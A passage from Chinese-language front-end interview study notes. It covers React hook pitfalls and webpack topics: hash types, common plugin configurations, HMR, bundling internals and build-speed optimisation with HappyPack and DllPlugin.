    // re-render: 只恢复初始化的 state 值,不会再重新设置新的值
    //            只能用 setName 修改
    const [ name, setName ] = useState(userInfo.name)

    return <div>
        <p>Child, props name: {userInfo.name}</p>
        <p>Child, state name: {name}</p>
    </div>
}


function App() {
    const [name, setName] = useState('test')
    const userInfo = { name }

    return <div>
        <div>
            Parent &nbsp;
            <button onClick={() => setName('test1')}>setName</button>
        </div>
        <Child userInfo={userInfo}/>
    </div>
}

export default App
// 第二个坑:`useEffect`内部不能修改`state`
import React, { useState, useRef, useEffect } from 'react'

function UseEffectChangeState() {
    const [count, setCount] = useState(0)

    // 模拟 DidMount
    const countRef = useRef(0)
    useEffect(() => {
        console.log('useEffect...', count)

        // 定时任务
        const timer = setInterval(() => {
            console.log('setInterval...', countRef.current) // 一直是0 闭包陷阱
            // setCount(count + 1)
            setCount(++countRef.current) // 解决方案使用useRef
        }, 1000)

        // 清除定时任务
        return () => clearTimeout(timer)
    }, []) // 依赖为 []

    // 依赖为 [] 时: re-render 不会重新执行 effect 函数
    // 没有依赖:re-render 会重新执行 effect 函数

    return <div>count: {count}</div>
}

export default UseEffectChangeState

# 8 Webpack

# hash、chunkhash、contenthash区别

  • 如果是hash的话,是和整个项目有关的,有一处文件发生更改则所有文件的hash值都会发生改变且它们共用一个hash值;
  • 如果是chunkhash的话,只和entry的每个入口文件有关,也就是同一个chunk下的文件有所改动该chunk下的文件的hash值就会发生改变
  • 如果是contenthash的话,和每个生成的文件有关,只有当要构建的文件内容发生改变时才会给该文件生成新的hash值,并不会影响其它文件。

# webpack常用插件总结

1. 功能类

1.1 html-webpack-plugin

自动生成html,基本用法:

new HtmlWebpackPlugin({
  filename: 'index.html', // 生成文件名
  template: path.join(process.cwd(), './index.html') // 模班文件
})

1.2 copy-webpack-plugin

拷贝资源插件

new CopyWebpackPlugin([
  {
    from: path.join(process.cwd(), './vendor/'),
    to: path.join(process.cwd(), './dist/'),
    ignore: ['*.json']
  }
])

1.3 webpack-manifest-plugin && assets-webpack-plugin

俩个插件效果一致,都是生成编译结果的资源单,只是资源单的数据结构不一致而已

webpack-manifest-plugin 基本用法

module.exports = {
  plugins: [
    new ManifestPlugin()
  ]
}

assets-webpack-plugin 基本用法

module.exports = {
  plugins: [
    new AssetsPlugin()
  ]
}

1.4 clean-webpack-plugin

在编译之前清理指定目录指定内容

// 清理目录
const pathsToClean = [
  'dist',
  'build'
]
 
// 清理参数
const cleanOptions = {
  exclude:  ['shared.js'], // 跳过文件
}
module.exports = {
  // ...
  plugins: [
    new CleanWebpackPlugin(pathsToClean, cleanOptions)
  ]
}

1.5 compression-webpack-plugin

提供带 Content-Encoding 编码的压缩版的资源

module.exports = {
  plugins: [
    new CompressionPlugin()
  ]
}

1.6 progress-bar-webpack-plugin

编译进度条插件

module.exports = {
  //...
  plugins: [
    new ProgressBarPlugin()
  ]
}

2. 代码相关类

2.1 webpack.ProvidePlugin

自动加载模块,如 $ 出现,就会自动加载模块;$ 默认为'jquery'exports

new webpack.ProvidePlugin({
  $: 'jquery',
})

2.2 webpack.DefinePlugin

定义全局常量

new webpack.DefinePlugin({
  'process.env': {
    NODE_ENV: JSON.stringify(process.env.NODE_ENV)
  }
})

2.3 mini-css-extract-plugin && extract-text-webpack-plugin

提取css样式,对比

  • mini-css-extract-pluginwebpack4及以上提供的plugin,支持css chunk
  • extract-text-webpack-plugin 只能在webpack3 及一下的版本使用,不支持css chunk

基本用法 extract-text-webpack-plugin

const ExtractTextPlugin = require("extract-text-webpack-plugin");
 
module.exports = {
  module: {
    rules: [
      {
        test: /\.css$/,
        use: ExtractTextPlugin.extract({
          fallback: "style-loader",
          use: "css-loader"
        })
      }
    ]
  },
  plugins: [
    new ExtractTextPlugin("styles.css"),
  ]
}

基本用法 mini-css-extract-plugin

const MiniCssExtractPlugin = require("mini-css-extract-plugin");
module.exports = {
    module: {
    rules: [
      {
        test: /\.css$/,
        use: [
          {
            loader: MiniCssExtractPlugin.loader,
            options: {
              publicPath: '/'  // chunk publicPath
            }
          },
          "css-loader"
        ]
      }
    ]
  },
  plugins: [
    new MiniCssExtractPlugin({
      filename: "[name].css", // 主文件名
      chunkFilename: "[id].css"  // chunk文件名
    })
  ]
}

3. 编译结果优化类

3.1 wbepack.IgnorePlugin

忽略regExp匹配的模块

new webpack.IgnorePlugin(/^\.\/locale$/, /moment$/)

3.2 uglifyjs-webpack-plugin

代码丑化,用于js压缩

module.exports = {
  //...
  optimization: {
    minimizer: [new UglifyJsPlugin({
      cache: true,   // 开启缓存
      parallel: true, // 开启多线程编译
      sourceMap: true,  // 是否sourceMap
      uglifyOptions: {  // 丑化参数
        comments: false,
        warnings: false,
        compress: {
          unused: true,
          dead_code: true,
          collapse_vars: true,
          reduce_vars: true
        },
        output: {
          comments: false
        }
      }
    }]
  }
};

3.3 optimize-css-assets-webpack-plugin

css压缩,主要使用 cssnano 压缩器 https://github.com/cssnano/cssnano

module.exports = {
  //...
  optimization: {
    minimizer: [new OptimizeCssAssetsPlugin({
      cssProcessor: require('cssnano'),   // css 压缩优化器
      cssProcessorOptions: { discardComments: { removeAll: true } } // 去除所有注释
    })]
  }
};

3.4 webpack-md5-hash

使你的chunk根据内容生成md5,用这个md5取代 webpack chunkhash

var WebpackMd5Hash = require('webpack-md5-hash');
 
module.exports = {
  // ...
  output: {
    //...
    chunkFilename: "[chunkhash].[id].chunk.js"
  },
  plugins: [
    new WebpackMd5Hash()
  ]
};

3.5 SplitChunksPlugin

  • CommonChunkPlugin 的后世,用于chunk切割。

webpackchunk 分为两种类型,一种是初始加载initial chunk,另外一种是异步加载 async chunk,如果不配置SplitChunksPluginwebpack会在production的模式下自动开启,默认情况下,webpack会将 node_modules 下的所有模块定义为异步加载模块,并分析你的 entry、动态加载(import()require.ensure)模块,找出这些模块之间共用的node_modules下的模块,并将这些模块提取到单独的chunk中,在需要的时候异步加载到页面当中,其中默认配置如下

module.exports = {
  //...
  optimization: {
    splitChunks: {
      chunks: 'async', // 异步加载chunk
      minSize: 30000,
      maxSize: 0,
      minChunks: 1,
      maxAsyncRequests: 5,
      maxInitialRequests: 3,
      automaticNameDelimiter: '~', // 文件名中chunk分隔符
      name: true,
      cacheGroups: {
        vendors: {
          test: /[\\/]node_modules[\\/]/,  // 
          priority: -10
        },
        default: {
          minChunks: 2,  // 最小的共享chunk数
          priority: -20,
          reuseExistingChunk: true
        }
      }
    }
  }
};

4. 编译优化类

4.1 DllPlugin && DllReferencePlugin && autodll-webpack-plugin

  • dllPlugin将模块预先编译,DllReferencePlugin 将预先编译好的模块关联到当前编译中,当 webpack 解析到这些模块时,会直接使用预先编译好的模块。
  • autodll-webpack-plugin 相当于 dllPluginDllReferencePlugin 的简化版,其实本质也是使用 dllPlugin && DllReferencePlugin,它会在第一次编译的时候将配置好的需要预先编译的模块编译在缓存中,第二次编译的时候,解析到这些模块就直接使用缓存,而不是去编译这些模块

dllPlugin 基本用法:

const output = {
  filename: '[name].js',
  library: '[name]_library',
  path: './vendor/'
}

module.exports = {
  entry: {
    vendor: ['react', 'react-dom']  // 我们需要事先编译的模块,用entry表示
  },
  output: output,
  plugins: [
    new webpack.DllPlugin({  // 使用dllPlugin
      path: path.join(output.path, `${output.filename}.json`),
      name: output.library // 全局变量名, 也就是 window 下 的 [output.library]
    })
  ]
}

DllReferencePlugin 基本用法:

const manifest = path.resolve(process.cwd(), 'vendor', 'vendor.js.json')

module.exports = {
  plugins: [
    new webpack.DllReferencePlugin({
      manifest: require(manifest), // 引进dllPlugin编译的json文件
      name: 'vendor_library' // 全局变量名,与dllPlugin声明的一致
    }
  ]
}

autodll-webpack-plugin 基本用法:

module.exports = {
  plugins: [
    new AutoDllPlugin({
      inject: true, // 与 html-webpack-plugin 结合使用,注入html中
      filename: '[name].js',
      entry: {
        vendor: [
          'react',
          'react-dom'
        ]
      }
    })
  ]
}

4.2 happypack && thread-loader

多线程编译,加快编译速度,thread-loader不可以和 mini-css-extract-plugin 结合使用

happypack 基本用法

const HappyPack = require('happypack');
const os = require('os');
const happyThreadPool = HappyPack.ThreadPool({ size: os.cpus().length });
const happyLoaderId = 'happypack-for-react-babel-loader';

module.exports = {
  module: {
    rules: [{
      test: /\.jsx?$/,
      loader: 'happypack/loader',
      query: {
        id: happyLoaderId
      },
      include: [path.resolve(process.cwd(), 'src')]
    }]
  },
  plugins: [new HappyPack({
    id: happyLoaderId,
    threadPool: happyThreadPool,
    loaders: ['babel-loader']
  })]
}

thread-loader 基本用法

module.exports = {
  module: {
    rules: [
      {
        test: /\.js$/,
        include: path.resolve("src"),
        use: [
          "thread-loader",
          // your expensive loader (e.g babel-loader)
          "babel-loader"
        ]
      }
    ]
  }
}

4.3 hard-source-webpack-plugin && cache-loader

使用模块编译缓存,加快编译速度

hard-source-webpack-plugin 基本用法

module.exports = {
  plugins: [
    new HardSourceWebpackPlugin()
  ]
}

cache-loader 基本用法

module.exports = {
  module: {
    rules: [
      {
        test: /\.ext$/,
        use: [
          'cache-loader',
          ...loaders
        ],
        include: path.resolve('src')
      }
    ]
  }
}

5. 编译分析类

5.1 webpack-bundle-analyzer

编译模块分析插件

new BundleAnalyzerPlugin({
  analyzerMode: 'server',
  analyzerHost: '127.0.0.1',
  analyzerPort: 8889,
  reportFilename: 'report.html',
  defaultSizes: 'parsed',
  generateStatsFile: false,
  statsFilename: 'stats.json',
  statsOptions: null,
  logLevel: 'info'
}),

5.2 stats-webpack-plugin && PrefetchPlugin

stats-webpack-plugin 将构建的统计信息写入文件,该文件可在 http://webpack.github.io/analyse中上传进行编译分析,并根据分析结果,可使用 PrefetchPlugin 对部分模块进行预解析编译

stats-webpack-plugin 基本用法:

module.exports = {
  plugins: [
    new StatsPlugin('stats.json', {
      chunkModules: true,
      exclude: [/node_modules[\\\/]react/]
    })
  ]
};

PrefetchPlugin 基本用法:

module.exports = {
  plugins: [
    new webpack.PrefetchPlugin('/web/', 'app/modules/HeaderNav.jsx'),
    new webpack.PrefetchPlugin('/web/', 'app/pages/FrontPage.jsx')
];
}

5.3 speed-measure-webpack-plugin

统计编译过程中,各loaderplugin使用的时间

const SpeedMeasurePlugin = require("speed-measure-webpack-plugin");
 
const smp = new SpeedMeasurePlugin();
 
const webpackConfig = {
  plugins: [
    new MyPlugin(),
    new MyOtherPlugin()
  ]
}
module.exports = smp.wrap(webpackConfig);

# webpack热更新原理

  • 当修改了一个或多个文件;
  • 文件系统接收更改并通知 webpack
  • webpack 重新编译构建一个或多个模块,并通知 HMR 服务器进行更新;
  • HMR Server 使用 webSocket 通知 HMR runtime 需要更新,HMR 运行时通过 HTTP 请求更新 jsonp
  • HMR 运行时替换更新中的模块,如果确定这些模块无法更新,则触发整个页面刷新

# webpack原理简述

1.1 核心概念

JavaScript 的 模块打包工具 (module bundler)。通过分析模块之间的依赖,最终将所有模块打包成一份或者多份代码包 (bundler),供 HTML 直接引用。实质上,Webpack 仅仅提供了 打包功能 和一套 文件处理机制,然后通过生态中的各种 Loader 和 Plugin 对代码进行预编译和打包。因此 Webpack 具有高度的可拓展性,能更好的发挥社区生态的力量。

  • Entry: 入口文件,Webpack会从该文件开始进行分析与编译;
  • Output: 出口路径,打包后创建 bundler的文件路径以及文件名;
  • Module: 模块,在 Webpack 中任何文件都可以作为一个模块,会根据配置的不同的 Loader 进行加载和打包;
  • Chunk: 代码块,可以根据配置,将所有模块代码合并成一个或多个代码块,以便按需加载,提高性能;
  • Loader: 模块加载器,进行各种文件类型的加载与转换;
  • Plugin: 拓展插件,可以通过 Webpack 相应的事件钩子,介入到打包过程中的任意环节,从而对代码按需修改;

1.2 工作流程 (加载 - 编译 - 输出)

  1. 读取配置文件,按命令 初始化 配置参数,创建 Compiler 对象;
  2. 调用插件的 apply 方法 挂载插件 监听,然后从入口文件开始执行编译;
  3. 按文件类型,调用相应的 Loader 对模块进行 编译,并在合适的时机点触发对应的事件,调用 Plugin 执行,最后再根据模块 依赖查找 到所依赖的模块,递归执行第三步;
  4. 将编译后的所有代码包装成一个个代码块 (Chuck), 并按依赖和配置确定 输出内容。这个步骤,仍然可以通过 Plugin 进行文件的修改;
  5. 最后,根据 Output 把文件内容一一写入到指定的文件夹中,完成整个过程;

1.3 模块包装

(function(modules) {
	// 模拟 require 函数,从内存中加载模块;
	function __webpack_require__(moduleId) {
		// 缓存模块
		if (installedModules[moduleId]) {
			return installedModules[moduleId].exports;
		}
		
		var module = installedModules[moduleId] = {
			i: moduleId,
			l: false,
			exports: {}
		};
		
		// 执行代码;
		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
		
		// Flag: 标记是否加载完成;
		module.l = true;
		
		return module.exports;
	}
	
	// ...
	
	// 开始执行加载入口文件;
	return __webpack_require__(__webpack_require__.s = "./src/index.js");
 })({
 	"./src/index.js": function (module, __webpack_exports__, __webpack_require__) {
		// 使用 eval 执行编译后的代码;
		// 继续递归引用模块内部依赖;
		// 实际情况并不是使用模板字符串,这里是为了代码的可读性;
		eval(`
			__webpack_require__.r(__webpack_exports__);
			//
			var _test__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__("test", ./src/test.js");
		`);
	},
	"./src/test.js": function (module, __webpack_exports__, __webpack_require__) {
		// ...
	},
 })

总结:

  • 模块机制: webpack自己实现了一套模拟模块的机制,将其包裹于业务代码的外部,从而提供了一套模块机制;
  • 文件编译: webpack规定了一套编译规则,通过 LoaderPlugin,以管道的形式对文件字符串进行处理;

1.4 webpack的打包原理

  • 初始化参数:从配置文件和 Shell 语句中读取与合并参数,得出最终的参数
  • 开始编译:用上一步得到的参数初始化 Compiler 对象,加载所有配置的插件,执行对象的 run 方法开始执行编译
  • 确定入口:根据配置中的 entry 找出所有的入口文件
  • 编译模块:从入口文件出发,调用所有配置的 Loader 对模块进行翻译,再找出该模块依赖的模块,再递归本步骤直到所有入口依赖的文件都经过了本步骤的处理
  • 完成模块编译:在经过第4步使用 Loader 翻译完所有模块后,得到了每个模块被翻译后的最终内容以及它们之间的依赖关系
  • 输出资源:根据入口和模块之间的依赖关系,组装成一个个包含多个模块的 Chunk,再把每个 Chunk 转换成一个单独的文件加入到输出列表,这步是可以修改输出内容的最后机会
  • 输出完成:在确定好输出内容后,根据配置确定输出的路径和文件名,把文件内容写入到文件系统

1.5 webpack的打包原理详细

相关问题

  • webpack 工作流程是怎样的
  • webpack 在不同阶段做了什么事情

webpack 是一种模块打包工具,可以将各类型的资源,例如图片、CSS、JS 等,转译组合为 JS 格式的 bundle 文件

webpack 构建的核心任务是完成内容转化和资源合并。主要包含以下 3 个阶段:

  1. 初始化阶段
  • 初始化参数:从配置文件、配置对象和 Shell 参数中读取并与默认参数进行合并,组合成最终使用的参数
  • 创建编译对象:用上一步得到的参数创建 Compiler 对象。
  • 初始化编译环境:包括注入内置插件、注册各种模块工厂、初始化 RuleSet 集合、加载配置的插件等
  1. 构建阶段
  • 开始编译:执行 Compiler 对象的 run 方法,创建 Compilation 对象。
  • 确认编译入口:进入 entryOption 阶段,读取配置的 Entries,递归遍历所有的入口文件,调用 Compilation.addEntry 将入口文件转换为 Dependency 对象。
  • 编译模块(make): 调用 normalModule 中的 build 开启构建,从 entry 文件开始,调用 loader 对模块进行转译处理,然后调用 JS 解释器(acorn)将内容转化为 AST 对象,然后递归分析依赖,依次处理全部文件。
  • 完成模块编译:在上一步处理好所有模块后,得到模块编译产物和依赖关系图
  1. 生成阶段
  • 输出资源(seal):根据入口和模块之间的依赖关系,组装成多个包含多个模块的 Chunk,再把每个 Chunk 转换成一个 Asset 加入到输出列表,这步是可以修改输出内容的最后机会。
  • 写入文件系统(emitAssets):确定好输出内容后,根据配置的 output 将内容写入文件系统

知识点深入

1. webpack 初始化过程

从 webpack 项目 webpack.config.js 文件 webpack 方法出发,可以看到初始化过程如下:

  • 将命令行参数和用户的配置文件进行合并
  • 调用 getValidateSchema 对配置进行校验
  • 调用 createCompiler 创建 Compiler 对象
    • 将用户配置和默认配置进行合并处理
    • 实例化 Compiler
    • 实例化 NodeEnvironmentPlugin
    • 处理用户配置的 plugins,执行 pluginapply 方法。
    • 触发 environmentafterEnvironment 上注册的事件。
    • 注册 webpack 内部插件。
    • 触发 initialize 事件
// lib/webpack.js 122 行 部分代码省略处理
const create = () => {
  if (!webpackOptionsSchemaCheck(options)) {
    // 校验参数
    getValidateSchema()(webpackOptionsSchema, options);
  }
  // 创建 compiler 对象
  compiler = createCompiler(webpackOptions);
};

// lib/webpack.js 57 行
const createCompiler = (rawOptions) => {
  // 统一合并处理参数
  const options = getNormalizedWebpackOptions(rawOptions);
  applyWebpackOptionsBaseDefaults(options);
  // 实例化 compiler
  const compiler = new Compiler(options.context);
  // 把 options 挂载到对象上
  compiler.options = options;
  // NodeEnvironmentPlugin 是对 fs 模块的封装,用来处理文件输入输出等
  new NodeEnvironmentPlugin({
    infrastructureLogging: options.infrastructureLogging,
  }).apply(compiler);
  // 注册用户配置插件
  if (Array.isArray(options.plugins)) {
    for (const plugin of options.plugins) {
      if (typeof plugin === "function") {
        plugin.call(compiler, compiler);
      } else {
        plugin.apply(compiler);
      }
    }
  }
  applyWebpackOptionsDefaults(options);
  // 触发 environment 和 afterEnvironment 上注册的事件
  compiler.hooks.environment.call();
  compiler.hooks.afterEnvironment.call();
  // 注册 webpack 内置插件
  new WebpackOptionsApply().process(options, compiler);
  compiler.hooks.initialize.call();
  return compiler;
};

2. webpack 构建阶段做了什么

在 webpack 函数执行完之后,就到主要的构建阶段,首先执行 compiler.run(),然后触发一系列钩子函数,执行 compiler.compile()

  • 在实例化 compiler 之后,执行 compiler.run()
  • 执行 newCompilation 函数,调用 createCompilation 初始化 Compilation 对象
  • 执行 _addEntryItem 将入口文件存入 this.entriesmap 对象),遍历 this.entries 对象构建 chunk
  • 执行 handleModuleCreation,开始创建模块实例。
  • 执行 moduleFactory.create 创建模块
    • 执行 factory.hooks.factorize.call 钩子,然后会调用 ExternalModuleFactoryPlugin 中注册的钩子,用于配置外部文件的模块加载方式
    • 使用 enhanced-resolve 解析模块和 loader 的真实绝对路径
    • 执行 new NormalModule() 创建 module 实例
  • 执行 addModule,存储 module
  • 执行 buildModule,添加模块到模块队列 buildQueue,开始构建模块, 这里会调用 normalModule 中的 build 开启构建
    • 创建 loader 上下文。
    • 执行 runLoaders,通过 enhanced-resolve 解析得到的模块和 loader 的路径获取函数,执行 loader
    • 生成模块的 hash
  • 所有依赖都解析完毕后,构建阶段结束
  // 构建过程涉及流程比较复杂,代码会做省略

  // lib/webpack.js 1284行
  // 开启编译流程
  compiler.run((err, stats) => {
    compiler.close(err2 => {
      callback(err || err2, stats);
    });
  });

  // lib/compiler.js 1081行
  // 开启编译流程
  compile(callback) {
    const params = this.newCompilationParams();
    // 创建 Compilation 对象
    const Compilation = this.newCompilation(params);
  }

  // lib/Compilation.js 1865行
  // 确认入口文件
  addEntry() {
    this._addEntryItem();
  }

  // lib/Compilation.js 1834行
  // 开始创建模块流程,创建模块实例
  addModuleTree() {
    this.handleModuleCreation()
  }

  // lib/Compilation.js 1548行
  // 开始创建模块流程,创建模块实例
  handleModuleCreation() {
    this.factorizeModule()
  }

  // lib/Compilation.js 1712行
  // 添加到创建模块队列,执行创建模块
  factorizeModule(options, callback) {
    this.factorizeQueue.add(options, callback);
  }

  // lib/Compilation.js 1834行
  // 保存需要构建模块
  _addModule(module, callback) {
    this.modules.add(module);
  }

  // lib/Compilation.js 1284行
  // 添加模块进模块编译队列,开始编译
  buildModule(module, callback) {
    this.buildQueue.add(module, callback);
  }

3. webpack 生成阶段做了什么

构建阶段围绕 module 展开,生成阶段则围绕 chunks 展开。经过构建阶段之后,webpack 得到足够的模块内容与模块关系信息,之后通过 Compilation.seal 函数生成最终资源

3.1 生成产物

执行 Compilation.seal 进行产物的封装

  • 构建本次编译的 ChunkGraph 对象,执行 buildChunkGraph,这里会将 import()require.ensure 等方法生成的动态模块添加到 chunks
  • 遍历 Compilation.modules 集合,将 moduleentry/动态引入 的规则分配给不同的 Chunk 对象。
  • 调用 Compilation.emitAssets 方法将 assets 信息记录到 Compilation.assets 对象中。
  • 执行 hooks.optimizeChunkModules 的钩子,这里开始进行代码生成和封装。
    • 执行一系列钩子函数(reviveModules, moduleId, optimizeChunkIds 等)
    • 执行 createModuleHashes 更新模块 hash
    • 执行 JavascriptGenerator 生成模块代码,这里会遍历 modules,创建构建任务,循环使用 JavascriptGenerator 构建代码,这时会将 import 等模块引入方式替换为 webpack_require 等,并将生成结果存入缓存
    • 执行 processRuntimeRequirements,根据生成的内容所使用到的 webpack_require 的函数,添加对应的代码
    • 执行 createHash 创建 chunkhash
    • 执行 clearAssets 清除 chunkfilesauxiliary,这里缓存的是生成的 chunk 的文件名,主要是清除上次构建产生的废弃内容

3.2 文件输出

回到 Compiler 的流程中,执行 onCompiled 回调。

  • 触发 shouldEmit 钩子函数,这里是最后能优化产物的钩子。
  • 遍历 module 集合,根据 entry 配置及引入资源的方式,将 module 分配到不同的 chunk
  • 遍历 chunk 集合,调用 Compilation.emitAsset 方法标记 chunk 的输出规则,即转化为 assets 集合。
  • 写入本地文件,用的是 webpack 函数执行时初始化的文件流工具。
  • 执行 done 钩子函数,这里会执行 compiler.run() 的回调,再执行 compiler.close(),然后执行持久化存储(前提是使用的 filesystem 缓存模式)

1.6 总结

  1. 初始化参数:从配置文件和 Shell 语句中读取并合并参数,得出最终的配置参数。
  2. 开始编译:从上一步得到的参数初始化 Compiler 对象,加载所有配置的插件,执行对象的 run 方法开始执行编译。
  3. 确定入口:根scope据配置中的 entry 找出所有的入口文件。
  4. 编译模块:从入口文件出发,调用所有配置的 loader 对模块进行翻译,再找出该模块依赖的模块,这个步骤是递归执行的,直至所有入口依赖的模块文件都经过本步骤的处理。
  5. 完成模块编译:经过第 4 步使用 loader 翻译完所有模块后,得到了每个模块被翻译后的最终内容以及它们之间的依赖关系。
  6. 输出资源:根据入口和模块之间的依赖关系,组装成一个个包含多个模块的 chunk,再把每个 chunk 转换成一个单独的文件加入到输出列表,这一步是可以修改输出内容的最后机会。
  7. 输出完成:在确定好输出内容后,根据配置确定输出的路径和文件名,把文件内容写入到文件系统。

# webpack性能优化-构建速度

先分析遇到哪些问题,在配合下面的方法优化,不要上来就回答,让人觉得背面试题

  • 优化babel-loader缓存
  • IgnorePlugin 忽略某些包,避免引入无用模块(直接不引入,需要在代码中引入)
    • import moment from 'moment'
    • 默认会引入所有语言JS代码,代码过大
    import moment from 'moment'
    moment.locale('zh-cn') // 设置语言为中文
    
    // 手动引入中文语言包
    import 'moment/locale/zh-cn'
    
    // webpack.prod.js
    pluins: [
        // 忽略 moment 下的 /locale 目录
        new webpack.IgnorePlugin(/\.\/locale/, /moment/),
    ]
    
  • noParse 避免重复打包(引入但不打包)
  • happyPack多线程打包
    • JS单线程的,开启多进程打包
    • 提高构建速度(特别是多核CPU)
      // webpack.prod.js
      const HappyPack = require('happypack')
    
      {
          module: {
              rules: [
                  // js
                  {
                      test: /\.js$/,
                      // 把对 .js 文件的处理转交给 id 为 babel 的 HappyPack 实例
                      use: ['happypack/loader?id=babel'],
                      include: srcPath,
                      // exclude: /node_modules/
                  },
              ]
          },
          plugins: [
              // happyPack 开启多进程打包
              new HappyPack({
                  // 用唯一的标识符 id 来代表当前的 HappyPack 是用来处理一类特定的文件
                  id: 'babel',
                  // 如何处理 .js 文件,用法和 Loader 配置中一样
                  loaders: ['babel-loader?cacheDirectory']
              }),
          ]
      }
    
  • parallelUglifyPlugin多进程压缩JS
    • 关于多进程
      • 项目较大,打包较慢,开启多进程能提高速度
      • 项目较小,打包很快,开启多进程反而会降低速度(进程开销)
      • 按需使用
      // webpack.prod.js
      const ParallelUglifyPlugin = require('webpack-parallel-uglify-plugin')
      
      {
          plugins: [
              // 使用 ParallelUglifyPlugin 并行压缩输出的 JS 代码
              new ParallelUglifyPlugin({
                  // 传递给 UglifyJS 的参数
                  // (还是使用 UglifyJS 压缩,只不过帮助开启了多进程)
                  uglifyJS: {
                      output: {
                          beautify: false, // 最紧凑的输出
                          comments: false, // 删除所有的注释
                      },
                      compress: {
                          // 删除所有的 `console` 语句,可以兼容ie浏览器
                          drop_console: true,
                          // 内嵌定义了但是只用到一次的变量
                          collapse_vars: true,
                          // 提取出出现多次但是没有定义成变量去引用的静态值
                          reduce_vars: true,
                      }
                  }
              })
          ]
      }
      
  • 自动刷新(开发环境)使用dev-server即可
  • 热更新(开发环境)
    • 自动刷新:整个网页全部刷新,速度较慢,状态会丢失

    • 热更新:新代码生效,网页不刷新,状态不丢失

      // webpack.dev.js
      const HotModuleReplacementPlugin = require('webpack/lib/HotModuleReplacementPlugin');
      
      entry: {
          // index: path.join(srcPath, 'index.js'),
          index: [
              'webpack-dev-server/client?http://localhost:8080/',
              'webpack/hot/dev-server',
              path.join(srcPath, 'index.js')
          ],
          other: path.join(srcPath, 'other.js')
      },
      devServer: {
          hot: true
      },
      plugins: [
          new HotModuleReplacementPlugin()
      ],
      
      // 代码中index.js
      
      // 增加,开启热更新之后的代码逻辑
      if (module.hot) {
          // 注册哪些模块需要热更新
          module.hot.accept(['./math'], () => {
              const sumRes = sum(10, 30)
              console.log('sumRes in hot', sumRes)
          })
      }
      
  • DllPlugin 动态链接库(dllPlugin只适用于开发环境,因为生产环境下打包一次就完了,没有必要用于生产环境)
    • 前端框架如reactvue体积大,构建慢

    • 较稳定,不常升级版本,同一个版本只构建一次,不用每次都重新构建

    • webpack已内置DllPlugin,不需要安装

    • DllPlugin打包出dll文件

    • DllReferencePlugin引用dll文件

      // webpack.common.js
      const path = require('path')
      const HtmlWebpackPlugin = require('html-webpack-plugin')
      const { srcPath, distPath } = require('./paths')
      
      module.exports = {
          entry: path.join(srcPath, 'index'),
          module: {
              rules: [
                  {
                      test: /\.js$/,
                      use: ['babel-loader'],
                      include: srcPath,
                      exclude: /node_modules/
                  },
              ]
          },
          plugins: [
              new HtmlWebpackPlugin({
                  template: path.join(srcPath, 'index.html'),
                  filename: 'index.html'
              })
          ]
      }
      
      // webpack.dev.js
      const path = require('path')
      const webpack = require('webpack')
      const { merge } = require('webpack-merge')
      const webpackCommonConf = require('./webpack.common.js')
      const { srcPath, distPath } = require('./paths')
      
      // 第一,引入 DllReferencePlugin
      const DllReferencePlugin = require('webpack/lib/DllReferencePlugin');
      
      module.exports = merge(webpackCommonConf, {
          mode: 'development',
          module: {
              rules: [
                  {
                      test: /\.js$/,
                      use: ['babel-loader'],
                      include: srcPath,
                      exclude: /node_modules/ // 第二,不要再转换 node_modules 的代码
                  },
              ]
          },
          plugins: [
              new webpack.DefinePlugin({
                  // window.ENV = 'production'
                  ENV: JSON.stringify('development')
              }),
              // 第三,告诉 Webpack 使用了哪些动态链接库
              new DllReferencePlugin({
                  // 描述 react 动态链接库的文件内容
                  manifest: require(path.join(distPath, 'react.manifest.json')),
              }),
          ],
          devServer: {
              port: 8080,
              progress: true,  // 显示打包的进度条
              contentBase: distPath,  // 根目录
              open: true,  // 自动打开浏览器
              compress: true,  // 启动 gzip 压缩
      
              // 设置代理
              proxy: {
                  // 将本地 /api/xxx 代理到 localhost:3000/api/xxx
                  '/api': 'http://localhost:3000',
      
                  // 将本地 /api2/xxx 代理到 localhost:3000/xxx
                  '/api2': {
                      target: 'http://localhost:3000',
                      pathRewrite: {
                          '/api2': ''
                      }
                  }
              }
          }
      })
      
      // webpack.prod.js
      const path = require('path')
      const webpack = require('webpack')
      const webpackCommonConf = require('./webpack.common.js')
      const { merge } = require('webpack-merge')
      const { srcPath, distPath } = require('./paths')
      
      module.exports = merge(webpackCommonConf, {
          mode: 'production',
          output: {
              filename: 'bundle.[contenthash:8].js',  // 打包代码时,加上 hash 戳
              path: distPath,
              // publicPath: 'http://cdn.abc.com'  // 修改所有静态文件 url 的前缀(如 cdn 域名),这里暂时用不到
          },
          plugins: [
              new webpack.DefinePlugin({
                  // window.ENV = 'production'
                  ENV: JSON.stringify('production')
              })
          ]
      })
      
      // webpack.dll.js
      
      const path = require('path')
      const DllPlugin = require('webpack/lib/DllPlugin')
      const { srcPath, distPath } = require('./paths')
      
      module.exports = {
      mode: 'development',
      // JS 执行入口文件
      entry: {
          // 把 React 相关模块的放到一个单独的动态链接库
          react: ['react', 'react-dom']
      },
      output: {
          // 输出的动态链接库的文件名称,[name] 代表当前动态链接库的名称,
          // 也就是 entry 中配置的 react 和 polyfill
          filename: '[name].dll.js',
          // 输出的文件都放到 dist 目录下
          path: distPath,
          // 存放动态链接库的全局变量名称,例如对应 react 来说就是 _dll_react
          // 之所以在前面加上 _dll_ 是为了防止全局变量冲突
          library: '_dll_[name]',
      },
      plugins: [
          // 接入 DllPlugin
          new DllPlugin({
          // 动态链接库的全局变量名称,需要和 output.library 中保持一致
          // 该字段的值也就是输出的 manifest.json 文件 中 name 字段的值
          // 例如 react.manifest.json 中就有 "name": "_dll_react"
          name: '_dll_[name]',
          // 描述动态链接库的 manifest.json 文件输出时的文件名称
          path: path.join(distPath, '[name].manifest.json'),
          }),
      ],
      }
      
      "scripts": {
          "dev": "webpack serve --config build/webpack.dev.js",
          "dll": "webpack --config build/webpack.dll.js"
      },
      

优化打包速度完整代码

// webpack.common.js

const path = require('path')
const HtmlWebpackPlugin = require('html-webpack-plugin')
const { srcPath, distPath } = require('./paths')

module.exports = {
    entry: {
        index: path.join(srcPath, 'index.js'),
        other: path.join(srcPath, 'other.js')
    },
    module: {
        rules: [
            // babel-loader
        ]
    },
    plugins: [
        // new HtmlWebpackPlugin({
        //     template: path.join(srcPath, 'index.html'),
        //     filename: 'index.html'
        // })

        // 多入口 - 生成 index.html
        new HtmlWebpackPlugin({
            template: path.join(srcPath, 'index.html'),
            filename: 'index.html',
            // chunks 表示该页面要引用哪些 chunk (即上面的 index 和 other),默认全部引用
